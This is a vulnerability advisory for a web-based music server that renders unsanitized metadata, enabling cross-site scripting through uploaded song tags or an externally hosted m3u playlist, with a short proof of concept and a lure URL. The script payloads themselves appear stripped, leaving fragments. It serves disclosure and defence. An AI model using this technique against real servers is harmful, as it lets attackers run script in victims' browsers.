Description

Summary An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including `m3u` files. Details Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways: • a user which has the necessary permission for uploading files can upload a song with an artist-name such as `` • an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file The CVE score and PoC is based on the m3u approach, which results in a higher severity. PoC 1. Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server. ```m3u #EXTM3U #EXTINF:1,"> - "> http://example.com/audio.mp3 ``` 2. Craft and share the malicious URL: ``` http://127.0.0.1:3923/#m3u=https://example.com/song.m3u ``` Impact Any user that accesses this malicious URL is impacted.
